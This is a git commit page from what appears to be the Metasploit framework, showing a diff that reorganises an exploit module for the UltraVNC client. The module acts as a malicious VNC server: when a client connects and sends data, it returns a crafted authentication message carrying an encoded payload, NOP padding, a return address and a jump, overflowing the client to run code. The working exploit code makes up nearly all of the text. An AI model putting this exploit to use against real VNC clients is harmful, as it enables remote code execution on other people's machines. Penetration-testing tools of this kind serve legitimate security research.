module clean up for ultravnc_client.rb
git-svn-id: file:///home/svn/framework3/trunk@4204 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
cfdd264f2d
commit
529b808fc9
|
@ -48,19 +48,20 @@ class Exploits::Windows::Vnc::Ultravnc_Client < Exploit::Remote
|
|||
end
|
||||
|
||||
def on_client_connect(client)
|
||||
return if ((p = regenerate_payload(client)) == nil)
|
||||
|
||||
filler = make_nops(980 - payload.encoded.length)
|
||||
|
||||
rfb = "RFB 003.006\n"
|
||||
|
||||
sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + "Requires Ultr@VNC Authentication\n"
|
||||
sploit << payload.encoded + filler + [target.ret].pack('V')
|
||||
sploit << "PASSWORD" + [0xe8, -997].pack('CV')
|
||||
|
||||
client.put(rfb)
|
||||
end
|
||||
|
||||
on_client_data(16)
|
||||
def on_client_data(client)
|
||||
return if ((p = regenerate_payload(client)) == nil)
|
||||
|
||||
filler = make_nops(980 - payload.encoded.length)
|
||||
|
||||
sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + "Requires Ultr@VNC Authentication\n"
|
||||
sploit << payload.encoded + filler + [target.ret].pack('V')
|
||||
sploit << "PASSWORD" + [0xe8, -997].pack('CV')
|
||||
|
||||
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
|
||||
client.put(sploit)
|
||||
|
|
Loading…
Reference in New Issue